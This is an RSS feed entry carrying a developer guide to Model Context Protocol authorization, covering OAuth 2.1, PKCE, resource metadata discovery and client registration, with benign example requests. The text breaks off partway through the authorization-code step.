<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="rss.xsl"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Choreo Labs Identity Content Hub Blog</title>
        <link>https://choreolabs.com/identity-and-access-management/learn/</link>
        <description>Choreo Labs Identity Content Hub Blog</description>
        <lastBuildDate>Wed, 21 Oct 2026 00:00:00 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <item>
            <title><![CDATA[MCP Authorization: The Complete Developer Guide]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide</guid>
            <pubDate>Wed, 21 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[How authorization works across an MCP client, server, and tool call, and the OAuth 2.1 flow the spec builds on.]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-mcp-exists-when-we-already-have-apis">Why MCP exists when we already have APIs<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#why-mcp-exists-when-we-already-have-apis" class="hash-link" aria-label="Direct link to Why MCP exists when we already have APIs" title="Direct link to Why MCP exists when we already have APIs" translate="no">​</a></h2>
<p>Large language models can explain, summarize, and reason over whatever's in front of them. On their own, they can't retrieve private business data, inspect a live account, or approve a payment. They need a way to reach external data and tools, and the APIs that already do that job, REST, GraphQL, gRPC, still work fine underneath.</p>
<p>The problem isn't the APIs themselves. It's how applications integrate with them. Traditionally, a developer studies a system's documentation, maps its schemas, handles credentials, chooses endpoints, writes the integration logic, and ships it as application code. Add another system, and much of that work repeats.</p>
<p>The Model Context Protocol (MCP) standardizes the layer above these APIs. An MCP server describes the tools, resources, and prompts it offers, allowing compatible clients to discover and use those capabilities through a common protocol. The server can still call the same REST or GraphQL APIs that power the underlying business systems. MCP doesn't replace them; it provides a standard way to expose their capabilities to AI applications.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-real-limitation-is-predetermined-integration">The real limitation is predetermined integration<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#the-real-limitation-is-predetermined-integration" class="hash-link" aria-label="Direct link to The real limitation is predetermined integration" title="Direct link to The real limitation is predetermined integration" translate="no">​</a></h3>
<p>Traditional API integrations work well when an application follows a fixed workflow. Developers know which systems it needs to access, which operations to perform, and how the pieces fit together. Those decisions are made during development and shipped with the application.</p>
<p>But general-purpose AI agents work differently. An agent may need to access different systems or use capabilities that weren't anticipated when the application was built. With conventional integrations, supporting those capabilities often means writing and deploying additional application code.</p>
<p>MCP addresses this limitation by allowing compatible clients to discover available capabilities at runtime rather than relying entirely on integrations predetermined during development. Developers still need to configure connections, manage authorization, and enforce access controls, but they no longer need to build a separate tool-integration contract for every client-server combination.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-mcp-standardizes">What MCP standardizes<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#what-mcp-standardizes" class="hash-link" aria-label="Direct link to What MCP standardizes" title="Direct link to What MCP standardizes" translate="no">​</a></h3>
<p>MCP defines common roles, message formats, capability discovery, lifecycle behavior, and transport conventions. Instead of building a private integration between every AI application and service, the MCP client uses a common protocol while the MCP server adapts the underlying capabilities to it. That makes connections interoperable, not inherently trustworthy or safe.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-mcp-does-not-replace">What MCP does not replace<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#what-mcp-does-not-replace" class="hash-link" aria-label="Direct link to What MCP does not replace" title="Direct link to What MCP does not replace" translate="no">​</a></h3>
<p>MCP does not replace business APIs, data models, domain authorization, or the operational controls protecting them. Nor does it make model output deterministic. The useful mental model is not "MCP instead of REST." It is "MCP in front of, or alongside, existing capabilities so AI applications can discover and use them consistently."</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-static-authorization-breaks-for-agents">Why static authorization breaks for agents<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#why-static-authorization-breaks-for-agents" class="hash-link" aria-label="Direct link to Why static authorization breaks for agents" title="Direct link to Why static authorization breaks for agents" translate="no">​</a></h2>
<p>Most API authorization starts from something a team can describe in advance. Developers decide which endpoints an integration may call, choose the scopes, write the code path, and review it before shipping. The caller might make dynamic choices within that code, but the reachable operations remain bounded by what was deployed.</p>
<p>An agent weakens that assumption at the root. A model reads the current prompt, discovers available tools, and decides at runtime which MCP server and tool can help. It might make a different choice for the same prompt next time, without anyone deploying new code. The available tools can also change as servers add or remove capabilities.</p>
<p>Picture a support agent connected to a ticketing MCP server. In one conversation, it only reads ticket status. In the next, using the same connection and acting for the same user, it needs to close or escalate a ticket. A permission decision made once, at connection time, cannot distinguish those tasks unless the authorization model supports incremental access.</p>
<p>Two answers look tempting here, and both are wrong.</p>
<ul>
<li class="">
<p>Grant broad access up front so the agent has whatever it might plausibly need, and you've built a caller with more privilege than any individual task requires, a confused deputy waiting for the wrong prompt.</p>
</li>
<li class="">
<p>Define a permanent scope for every tool call, and you've coupled your permission model to an action surface that can change. The scope list risks becoming stale whenever tools are added, removed, or modified.</p>
</li>
</ul>
<p>What works is a shift from relying solely on permissions granted before execution to enforcing authorization throughout it, with accountability afterward. Start narrow. Expand access only when the task requires it. Bind each token to its intended server and keep its lifetime short. Authorize the actual tool arguments, not just the tool name. Leave a record that can answer who acted, on whose authority, against what, and with what result.</p>
<p>You retain the underlying API's authorization controls while adding task-specific, time-boxed, auditable access for agent-driven operations.</p>
<table><thead><tr><th></th><th>Conventional fixed integration</th><th>Agent-driven MCP connection</th></tr></thead><tbody><tr><td><strong>Reachable operations</strong></td><td>Bounded by code written and deployed for the integration</td><td>Selected at runtime from discovered tools</td></tr><tr><td><strong>Initial permission choice</strong></td><td>Matched to a known integration design</td><td>Kept narrow, then expanded if the task requires it</td></tr><tr><td><strong>Main enforcement points</strong></td><td>API gateway and endpoint policy</td><td>Token boundary plus tool, arguments, target, and context</td></tr><tr><td><strong>Blast-radius controls</strong></td><td>Predefined client permissions</td><td>Resource-bound, short-lived tokens and step-up authorization</td></tr><tr><td><strong>Accountability</strong></td><td>Application and API logs</td><td>User, client, delegated actor, tool, target, decision, and result</td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-this-is-an-authorization-problem">Why this is an authorization problem<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#why-this-is-an-authorization-problem" class="hash-link" aria-label="Direct link to Why this is an authorization problem" title="Direct link to Why this is an authorization problem" translate="no">​</a></h2>
<p>Authentication answers who an actor is. Authorization answers what that actor may do, based on scopes, roles, ownership, organizational policy, or the specific request. Delegation adds another question: whether one actor may act for another, within what boundaries, and for how long. An agent acting on a user's behalf must remain distinguishable from the user.</p>
<p>In a typical web application, these decisions are often handled within the same application boundary. With AI agents, the boundaries extend across independently operated systems. An AI application may authenticate a user once and then connect to several MCP servers on their behalf. Each server must independently determine what the client can access and which actions it can perform.</p>
<table><thead><tr><th><strong>Question</strong></th><th><strong>Typical evidence</strong></th><th><strong>Decision point</strong></th></tr></thead><tbody><tr><td>Who is the user?</td><td>Login session, ID token, enterprise SSO assertion</td><td>Identity provider and MCP client</td></tr><tr><td>Which client is connecting?</td><td>OAuth <code>client_id</code> and client metadata</td><td>Authorization server</td></tr><tr><td>May the client access this MCP server for the user?</td><td>Audience-bound access token and scopes</td><td>MCP server</td></tr><tr><td>May this exact tool run with these arguments?</td><td>Roles, ownership, policy, consent, risk and request context</td><td>MCP server or policy service</td></tr><tr><td>May the MCP server call a downstream API?</td><td>Separate downstream credential or delegated token</td><td>Downstream API</td></tr></tbody></table>
<p>A scope like <code>files:write</code> doesn't establish whether a user can overwrite <code>finance/forecast.xlsx</code>, whether a payment falls within a delegated limit, or whether an action requires human approval. The MCP server must evaluate these conditions before executing the tool. An access token grants access within a defined boundary, not blanket approval for every action.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-mcp-uses-oauth-21-instead-of-oauth-20">Why MCP uses OAuth 2.1 instead of OAuth 2.0<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#why-mcp-uses-oauth-21-instead-of-oauth-20" class="hash-link" aria-label="Direct link to Why MCP uses OAuth 2.1 instead of OAuth 2.0" title="Direct link to Why MCP uses OAuth 2.1 instead of OAuth 2.0" translate="no">​</a></h2>
<p>If you've worked with OAuth 2.0, most of this will be familiar. OAuth 2.1 narrows the choices rather than introducing a new framework.</p>
<p>OAuth 2.0 offered several grant types and left many security choices to implementers. That flexibility helped it spread across browsers, mobile apps, servers, and devices. It also left room for patterns later found to be unsafe. MCP builds on OAuth 2.1, which removes those older options.</p>
<table><thead><tr><th>Area</th><th>Original OAuth 2.0</th><th>OAuth 2.1 baseline used by MCP</th></tr></thead><tbody><tr><td>Authorization Code</td><td>Supported</td><td>Supported with PKCE required</td></tr><tr><td>Implicit grant</td><td>Defined</td><td>Removed</td></tr><tr><td>Password grant</td><td>Defined</td><td>Removed</td></tr><tr><td>Redirect URI comparison</td><td>Historically implemented with varying strictness</td><td>Exact matching required</td></tr><tr><td>Public clients</td><td>Could rely on weaker patterns</td><td>Use Authorization Code with PKCE</td></tr><tr><td>MCP discovery and resource binding</td><td>Not defined</td><td>Added by the MCP authorization specification</td></tr></tbody></table>
<p>PKCE binds the authorization request to the subsequent code exchange. An intercepted authorization code cannot be redeemed without the original verifier. MCP clients may connect to unfamiliar servers, making these protections particularly important against code interception and injection.</p>
<p><strong>What OAuth 2.1 doesn't cover on its own.</strong> It doesn't tell an unfamiliar MCP client how to discover the authorization server, register itself, request a token for a specific MCP resource, or request additional scopes mid-task. MCP's authorization specification adds those requirements.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="when-mcp-authorization-applies">When MCP authorization applies<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#when-mcp-authorization-applies" class="hash-link" aria-label="Direct link to When MCP authorization applies" title="Direct link to When MCP authorization applies" translate="no">​</a></h2>
<p>MCP authorization is optional and depends on the transport. HTTP-based servers should follow the authorization specification. Servers using stdio should obtain credentials from the environment rather than implement the HTTP authorization flow.</p>
<table><thead><tr><th>Deployment</th><th>Starting position</th></tr></thead><tbody><tr><td>Local stdio server used by one desktop client</td><td>Use local process and operating-system controls. Avoid inventing an OAuth flow inside stdio.</td></tr><tr><td>Remote Streamable HTTP server with public data only</td><td>Authorization may be unnecessary, but rate limits and abuse controls still apply.</td></tr><tr><td>Remote server accessing user or company data</td><td>Use the MCP OAuth authorization flow.</td></tr><tr><td>Remote server performing writes or high-impact actions</td><td>Use OAuth, tool-level policy, audit logs, and confirmation or step-up controls where risk requires them.</td></tr><tr><td>Service or scheduled agent with no user present</td><td>Do not force an interactive user flow. Evaluate the client-credentials extension and workload identity, while checking extension support.</td></tr></tbody></table>
<p>A local stdio server runs as a subprocess, so adding OAuth between it and its client usually solves the wrong problem. Local controls still apply: process isolation, file permissions, secret storage, and command approval. If it calls a remote API, it must also protect the downstream credential.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-mcp-authorization-reached-the-current-model">How MCP authorization reached the current model<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#how-mcp-authorization-reached-the-current-model" class="hash-link" aria-label="Direct link to How MCP authorization reached the current model" title="Direct link to How MCP authorization reached the current model" translate="no">​</a></h2>
<p>MCP authorization changed quickly. An older example can be internally consistent and still describe a model the specification no longer uses.</p>
<p><strong>2025-03-26 to 2025-06-18.</strong> The first authorization specification, 2025-03-26, placed authorization-server responsibilities alongside the MCP server, one component that both served tools and issued tokens. That kept a demo self-contained, and made every remote server responsible for far more identity infrastructure than a resource server should own. The 2025-06-18 revision split the two: the MCP server became a pure resource server, an authorization server became discoverable through Protected Resource Metadata (RFC 9728), and clients gained a required <code>resource</code> parameter (RFC 8707) binding a token to the server it was issued for.</p>
<p><strong>2025-11-25.</strong> Client ID Metadata Documents arrived as a recommended registration mechanism alongside Dynamic Client Registration, OpenID Connect Discovery became an accepted alternative to RFC 8414, and incremental step-up scope consent was added.</p>
<p><strong>2026-07-28, the current revision.</strong> Dynamic Client Registration was formally deprecated, with a twelve-month removal window. Issuer validation (RFC 9207) became required where advertised. Client credentials must now be bound to the issuing authorization server, so a client that persists a client ID must re-register if that authorization server changes.</p>
<p>An MCP server now acts as a resource server: it publishes authorization metadata, validates tokens issued for it, and enforces its own domain policies. It doesn't need to become an identity provider to expose tools.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="understanding-the-mcp-authorization-model">Understanding the MCP authorization model<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#understanding-the-mcp-authorization-model" class="hash-link" aria-label="Direct link to Understanding the MCP authorization model" title="Direct link to Understanding the MCP authorization model" translate="no">​</a></h2>
<p>The model has five roles, even when a single product performs several of them.</p>
<ul>
<li class="">
<p><strong>The resource owner:</strong> Usually this is the person who is using the AI application and can approve access. In an enterprise, policy may constrain or partially replace individual choice.</p>
</li>
<li class="">
<p><strong>The MCP host:</strong> The host is the AI application that manages the user experience, model interaction, client instances, tool selection controls, and consent or confirmation UI. It can operate several MCP clients and may run several agents.</p>
</li>
<li class="">
<p><strong>The MCP client:</strong> The MCP client is the protocol component inside an AI application, IDE, desktop application, or agent platform. In OAuth terms it is the client requesting an access token. The host application and MCP client are sometimes packaged together, but their responsibilities are not identical.</p>
</li>
<li class="">
<p><strong>The MCP server as the protected resource:</strong> The MCP server is the protected resource, also called the resource server in OAuth. It exposes tools, resources, and prompts, receives the access token, validates that the token was issued for it, and makes the final authorization decision for each request.</p>
</li>
<li class="">
<p><strong>The authorization server:</strong> The authorization server authenticates the user when necessary, obtains authorization, applies issuance policy, and creates access tokens for the MCP server. It may be operated with the MCP server or supplied by an external identity platform. The July 2026 MCP specification deliberately treats the MCP server as a resource server, so you do not need to turn every MCP server into a new identity provider (MCP authorization specification).</p>
</li>
</ul>
<p>A product may combine these roles, but issuer validation, audience checks, and consent boundaries still need to remain separate.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="who-should-run-the-authorization-server">Who should run the authorization server?<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#who-should-run-the-authorization-server" class="hash-link" aria-label="Direct link to Who should run the authorization server?" title="Direct link to Who should run the authorization server?" translate="no">​</a></h2>
<p>For production, start with established authorization infrastructure rather than building an authorization server from scratch.</p>
<p><strong>Embed it in the MCP server.</strong> This was the pattern described in the 2025-03-26 specification. It keeps a prototype self-contained but leaves your team responsible for login, sessions, consent, token security, and federation, on top of the MCP server itself. Rarely the right production choice unless identity is part of your product.</p>
<p><strong>Use existing identity infrastructure.</strong> Your MCP server's protected resource metadata points to a standards-conformant authorization server, whether self-hosted or managed. You can reuse existing MFA, SSO, and federation capabilities rather than maintaining a separate identity system for MCP.</p>
<p><strong>Share an authorization service across several MCP servers.</strong> This provides consistent trust, policy, and auditing across servers and organizations. However, each MCP server must still validate that tokens were issued for its own resource. A shared authorization server doesn't mean tokens should work everywhere.</p>
<p><strong>Put common enforcement in a gateway.</strong> A gateway can publish or proxy discovery, validate tokens, apply rate limits, and enforce baseline policies across multiple servers. It still cannot determine whether a user may delete a specific document without the domain context available to the tool handler.</p>
<p>Regardless of which approach you choose, the MCP server still needs a protocol and authorization enforcement layer.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-to-choose-the-right-architecture">How to choose the right architecture<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#how-to-choose-the-right-architecture" class="hash-link" aria-label="Direct link to How to choose the right architecture" title="Direct link to How to choose the right architecture" translate="no">​</a></h3>
<p>Choose based on the number of servers and organizations, identity requirements, deployment boundaries, audit obligations, and existing infrastructure. A shorter demo isn't enough reason to embed authorization.</p>
<p><strong>For the MCP server</strong>, you can use an official SDK, a framework that handles metadata and token validation, or a gateway for common enforcement. Regardless of the approach, domain authorization stays with the tool handler. Check how the implementation constructs the resource URI, publishes Protected Resource Metadata, validates token audiences, and handles insufficient-scope challenges.</p>
<p><strong>For the MCP client</strong>, supporting OAuth goes beyond attaching a bearer token. A general-purpose client needs resource and authorization-server discovery, client registration, PKCE, issuer and state validation, secure token storage, token refresh, and step-up authorization. Supporting one preconfigured authorization server is a valid choice, but it isn't the same as supporting arbitrary conformant servers.</p>
<p><strong>For the authorization server</strong>, use established infrastructure rather than building your own. Verify its support for MCP requirements, including Resource Indicators, client registration mechanisms, and authorization-server discovery. Generic OAuth support doesn't guarantee MCP interoperability.</p>
<p>Client registration is a useful early test. Prefer an existing registration, then a Client ID Metadata Document when supported, followed by Dynamic Client Registration when available. Otherwise, request manually registered client credentials.</p>
<p>As you add servers and organizations, shared authorization infrastructure can simplify policy enforcement, auditing, and management.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-complete-mcp-authorization-flow">The complete MCP authorization flow<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#the-complete-mcp-authorization-flow" class="hash-link" aria-label="Direct link to The complete MCP authorization flow" title="Direct link to The complete MCP authorization flow" translate="no">​</a></h2>
<p>Unlike a preconfigured "Sign in with X" integration, an MCP client may connect to a server it has never seen. It must discover the authorization server and establish its client identity before requesting access.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-1-the-client-calls-the-protected-mcp-server">Step 1: The client calls the protected MCP server<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#step-1-the-client-calls-the-protected-mcp-server" class="hash-link" aria-label="Direct link to Step 1: The client calls the protected MCP server" title="Direct link to Step 1: The client calls the protected MCP server" translate="no">​</a></h3>
<p>The client makes an MCP request without a valid token. The server responds with <code>401 Unauthorized</code> and a <code>WWW-Authenticate</code> challenge.</p>
<div class="language-http codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-http codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">HTTP/1.1 401 Unauthorized</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">WWW-Authenticate: Bearer</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource"</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  scope="documents:read"</span><br></span></code></pre></div></div>
<p>The <code>resource_metadata</code> parameter tells the client where to learn about the protected resource. The optional <code>scope</code> tells it what permission is required for the request that failed. A client must also support the standardized well-known URI fallback when the header is absent.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-2-the-client-discovers-protected-resource-metadata">Step 2: The client discovers Protected Resource Metadata<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#step-2-the-client-discovers-protected-resource-metadata" class="hash-link" aria-label="Direct link to Step 2: The client discovers Protected Resource Metadata" title="Direct link to Step 2: The client discovers Protected Resource Metadata" translate="no">​</a></h3>
<p>The client fetches the metadata document described by RFC 9728. At minimum, an MCP protected resource document identifies the resource and one or more authorization servers.</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"resource"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://mcp.example.com/mcp"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"authorization_servers"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token string" style="color:#15803D">"https://login.example.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"scopes_supported"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token string" style="color:#15803D">"documents:read"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>The MCP server publishes this document. It identifies the protected resource and its authorization servers; separate authorization-server metadata describes how to obtain tokens.</p>
<p>When more than one authorization server is listed, the client selects one according to RFC 9728 and must keep registration state, tokens, and credentials separate for each issuer. A client ID issued by one authorization server must never be assumed valid at another (MCP authorization-server discovery).</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-3-the-client-discovers-the-authorization-server">Step 3: The client discovers the authorization server<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#step-3-the-client-discovers-the-authorization-server" class="hash-link" aria-label="Direct link to Step 3: The client discovers the authorization server" title="Direct link to Step 3: The client discovers the authorization server" translate="no">​</a></h3>
<p>The client reads OAuth Authorization Server Metadata or OpenID Connect Discovery metadata to find endpoints and supported capabilities, including:</p>
<ul>
<li class="">Authorization and token endpoints</li>
<li class="">Supported scopes and response types</li>
<li class="">PKCE support</li>
<li class="">Dynamic Client Registration, when available</li>
<li class="">Client ID Metadata Document support</li>
<li class="">Issuer and token-endpoint authentication methods</li>
</ul>
<p>Issuer URLs may contain tenant paths, so MCP defines an ordered set of OAuth and OIDC well-known locations that clients must try. If discovery fails, the client should return a useful configuration error rather than guessing <code>/authorize</code> or <code>/token</code> paths.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-4-the-client-establishes-its-identity">Step 4: The client establishes its identity<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#step-4-the-client-establishes-its-identity" class="hash-link" aria-label="Direct link to Step 4: The client establishes its identity" title="Direct link to Step 4: The client establishes its identity" translate="no">​</a></h3>
<p>OAuth needs a client identity. Enterprises can pre-register approved applications, but a general-purpose MCP client may encounter a new authorization server at any time.</p>
<p>The current specification supports three main mechanisms.</p>
<p><strong>Pre-registration.</strong> The client already has a client ID for this authorization server, or the user enters one created by an administrator. This is predictable and works well for enterprise allowlists, but it does not scale to every public client and server pair.</p>
<p><strong>Client ID Metadata Documents.</strong> The client uses an HTTPS URL as its <code>client_id</code>. The URL returns a JSON document containing the client name, redirect URIs, grant types, and other metadata. The authorization server fetches the document and validates that its internal <code>client_id</code> exactly matches the URL.</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"client_id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://client.example.com/oauth/client.json"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"client_name"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Example AI Client"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"redirect_uris"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">"http://127.0.0.1:3456/callback"</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"grant_types"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">"authorization_code"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"refresh_token"</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"response_types"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">"code"</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"token_endpoint_auth_method"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"none"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>An authorization server can resolve this client identity without a prior registration. The underlying IETF specification was still an Internet-Draft (version 02) as of July 2026, so check for changes before implementing it (OAuth Client ID Metadata Document draft).</p>
<p><strong>Dynamic Client Registration.</strong> The client sends its metadata to a registration endpoint and receives a client ID, using RFC 7591. It solved the no-prior-relationship problem in earlier MCP revisions, but it also asks every authorization server to expose a write endpoint that creates client registrations. MCP now retains DCR as a fallback rather than the preferred mechanism.</p>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>What changed in 2026-07-28?</div><div class="admonitionContent_BuS1"><p>New clients should no longer assume DCR is the default answer. The current model prioritizes an existing preregistration, then Client ID Metadata Documents when supported, with DCR retained as a deprecated compatibility mechanism. Older tutorials that immediately post to a registration endpoint describe an earlier interoperability model.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-5-the-client-starts-authorization-code-with-pkce">Step 5: The client starts Authorization Code with PKCE<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#step-5-the-client-starts-authorization-code-with-pkce" class="hash-link" aria-label="Direct link to Step 5: The client starts Authorization Code with PKCE" title="Direct link to Step 5: The client starts Authorization Code with PKCE" translate="no">​</a></h3>
<p>The client generates a high-entropy PKCE code verifier, derives an S256 code challenge, stores the verifier with the request state, and sends the user's browser to the authorization endpoint.</p>
<div class="language-http codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-http codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">GET /authorize?</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  response_type=code&amp;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  client_id=https%3A%2F%2Fclient.example.com%2Foauth%2Fclient.json&amp;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  redirect_uri=http%3A%2F%2F127.0.0.1%3A3456%2Fcallback&amp;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  code_challenge=...&amp;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  code_challenge_method=S256&amp;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  resource=https%3A%2F%2Fmcp.example.com%2Fmcp&amp;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  scope=documents%3Aread&amp;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  state=...</span><br></span></code></pre></div></div>
